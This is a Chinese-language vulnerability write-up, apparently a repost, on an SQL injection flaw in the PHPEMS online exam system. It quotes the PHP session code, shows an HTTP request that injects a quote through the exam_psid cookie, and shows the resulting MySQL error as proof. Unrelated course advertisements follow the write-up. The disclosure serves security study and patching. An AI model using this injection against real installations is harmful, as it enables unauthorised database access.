使用本系统,您可以快速搭建用于模拟考试的网站平台,实现无纸化考试、真实考场模拟、知识强化练习等功能。可满足培训机构、学校、公司等机构各种考试需求。
代码如下 | 复制代码 |
public function __construct(&$G) $this->file = $_FILES; } .......... |
如果用户开启了GPC,程序员还特意使用stripSlashes()给关掉。
代码如下 | 复制代码 |
public function getSessionId() { $sessionid = $this->ev->getCookie('psid'); if(!$sessionid) { if($this->ev->getCookie('PHPSESSID',1)) { $this->ev->setCookie('psid',$this->ev->getCookie('PHPSESSID',1),3600*24); $sessionid = $this->ev->getCookie('PHPSESSID',1); } else { $sid = md5($this->ev->getClientIp().'//m.sbmmt.com/m/'.$_SERVER['HTTP_X_FORWARDED_FOR'].'//m.sbmmt.com/m/'.$_SERVER['REMOTE_ADDR'].':'.$_SERVER['REMOTE_PORT'].':'.$_SERVER['HTTP_USER_AGENT'].':'.date('Y-m-d')); $this->ev->setCookie('psid',$sid,3600*24); $sessionid = $sid; } $data = array('session',array('sessionid'=>$sessionid,'sessionuserid'=>0,'sessionip'=>$this->ev->getClientIp())); $sql = $this->sql->makeReplace($data); $this->db->exec($sql); } $this->sessionid = $sessionid; return $this->sessionid; } 获得psid参数并起保存在$sessionid里 //修改考试会话内容 //参数:会话内容数组 //返回值:true public function modifyExamSession($args) { $sessionid = $this->session->getSessionId(); $data = array('examsession',$args,"examsessionid = '{$sessionid}'"); $sql = $this->sql->makeUpdate($data); $this->db->exec($sql); return true; } |
任意找了一个进入数据库的地方。
从上面过程看到,没有做任何过滤就进入数据库了。
Request:
POST /index.php?exam-app-basics-openit HTTP/1.1
Host: phpems.0day5.com
Proxy-Connection: keep-alive
Content-Length: 79
Origin: http://phpems.0day5.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Referer: http://phpems.0day5.com/index.php?exam-app-basics-detail&basicid=4
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Cookie: exam_psid=c6f1b7acd452e6d72a3ede0f501a9211'; exam_currentuser=%25B4%2585%258B%2585%25CE%25BE%258D%257C%2586%2585u%25BE%25B8%25BE%25C6%25B4%25C2%25B9%25C8%25BE%25B8%25BD%25BC%25AFu%2586%25C6%2585%2585%2585u%2581%258Bm%258E%25BE%258D%257C%2588%2585u%25BE%25B8%25BE%25C6%25B4%25C2%25B9%25C3%25AC%25C6%25BE%25CA%25BA%25C5%25AFu%2586%25C6%2585%2586%257D%258Dm%258C%2581%25B8%2582%258C%257D%2584%2583%258C%2581%2588%25B0%25B5%2582%2585%25AE%258C%257D%25B4%2580%2587%2584%25B7%25AF%2588%25AC%2586%257E%2583%257C%2584%257Du%2586%25C6%2585%258C%2585u%25BE%25B8%25BE%25C6%25B4%25C2%25B9%25BC%25BBu%2586%25C6%2585%258C%2585u%257C%2585%2582%2581%257B%2581%257B%2581%257Cu%2586%25C6%2585%2584%257F%258Dm%25C6%25B0%25C6%25BE%25BC%25BA%25C1%25B2%25C5%25BA%25C8%25BB%25BC%25AFu%2586%25C6%2585%2584%2585u%2583u%2586%25C6%2585%2584%2581%258Dm%25C6%25B0%25C6%25BE%25BC%25BA%25C1%25B7%25C2%25B2%25BC%25B9%25C7%25B4%25C0%25B0u%2586%25BC%2585%2584%257E%258B%2584%2588%257C%2589%2582%258B%257E%258E%25BE%258D%257C%2588%2585u%25BE%25B8%25BE%25C6%25B4%25C2%25B9%25C8%25BE%25B8%25BD%25C1%25AC%25C0%25B0u%2586%25C6%2585%2589%2585u%257C%2584%257C%2584%257C%2584m%258E%25BE%258D%257C%2589%2585u%25BE%25B8%25BE%25C6%25B4%25C2%25B9%25C7%25B4%25C0%25B0%25BF%25B4%25C0%25B4%25C7m%258E%25B4%258D%257C%2586%2583%258C%2580%2584%2581%258A%2583%2586%2586%25C6%2585%258C%2585u%25BE%25B8%25BE%25C6%25B4%25C2%25B9%25BC%25AFu%2586%25C6%2585%2586%257D%258Dm%25B6%2581%25B9%257C%25B5%2582%25B4%25AE%25B7%257F%2588%257D%25B8%2581%25B7%2582%2585%25AC%2586%25B0%25B7%25B0%2583%25B1%2588%257B%2584%25AC%258C%257D%2584%257Cu%2586%25D0; CNZZDATA5243664=cnzz_eid%3D2105242747-1389515449-%26ntime%3D1389515449%26cnzz_a%3D3%26sin%3Dnone%26ltime%3D1389515448225
Response:
HTTP/1.1 200 OK
Date: Sun, 12 Jan 2014 09:32:14 GMT
Server: Apache/2.4.7 (Win32) OpenSSL/0.9.8y PHP/5.4.22
X-Powered-By: PHP/5.4.22
P3P: CP=CAO PSA OUR
Content-Length: 606
Content-Type: text/html; charset=utf-8
ERRO:SELECT * FROM x2_session AS session WHERE sessionid = 'c6f1b7acd452e6d72a3ede0f501a9211'' LIMIT 0,100:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''c6f1b7acd452e6d72a3ede0f501a9211'' LIMIT 0,100' at line 1ERRO:UPDATE x2_session AS session SET `sessionlasttime` = '1389519134' WHERE sessionid = 'c6f1b7acd452e6d72a3ede0f501a9211'':You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''c6f1b7acd452e6d72a3ede0f501a9211''' at line 1
漏洞证明。
javascript是运行在浏览器上的脚本语言,连续多年,被评为全球最受欢迎的编程语言。是前端开发必备三大法器中,最具杀伤力。如果前端开发是降龙十八掌,好么javascript就是第18掌:亢龙有悔。没有它,你的前端生涯是不完整的。《php.cn独孤九贱(3)-JavaScript视频教程》课程特色:php中文网原创幽默段子系列课程,以恶搞,段子为主题风格的php视频教程!轻松的教学风格,简短的教学模式,让同学们在不知不觉中,学会了javascript知识。
JavaScript教程123741次播放
jQuery是一个快速、简洁的JavaScript框架。设计的宗旨是“write Less,Do More”,即倡导写更少的代码,做更多的事情。它封装JavaScript常用的功能代码,提供一种简便的JavaScript设计模式,优化HTML文档操作、事件处理、动画设计和Ajax交互。 核心特性可以总结为:具有独特的链式语法和短小清晰的多功能接口;具有高效灵活的css选择器,并且可对CSS选择器进行扩展;拥有便捷的插件扩展机制和丰富的插件。兼容各种主流浏览器,如IE 6.0+、FF 1.5+、Safari 2.0+、Opera 9.0+等,是全球最流行的前端开发框架之一。PHP中文网根据最新版本,独家录制jQuery最新视频教程,回馈PHP中文网的新老用户。
jQuery教程102227次播放
jQuery是最流行的JS函数库,封装了许多实用的功能,其中最引人入胜的就是Ajax。 jQuery中的Ajax操作,语法简单,操作方便,使Ajax从未如此轻松,前端人员从此不再为与服务器异步交互而发愁,本套课程,精选了最常用的几个方法,从基本的语法到每个参数,再到具体实例进行了全面的讲解。
AJAX教程3693次播放
Git 是一个开源的分布式版本控制系统,用于敏捷高效地处理任何或小或大的项目。 Git 是 Linus Torvalds 为了帮助管理 Linux 内核开发而开发的一个开放源码的版本控制软件。 Git 与常用的版本控制工具 CVS, Subversion 等不同,它采用了分布式版本库的方式,不必服务器端软件支持
JavaScript教程3048次播放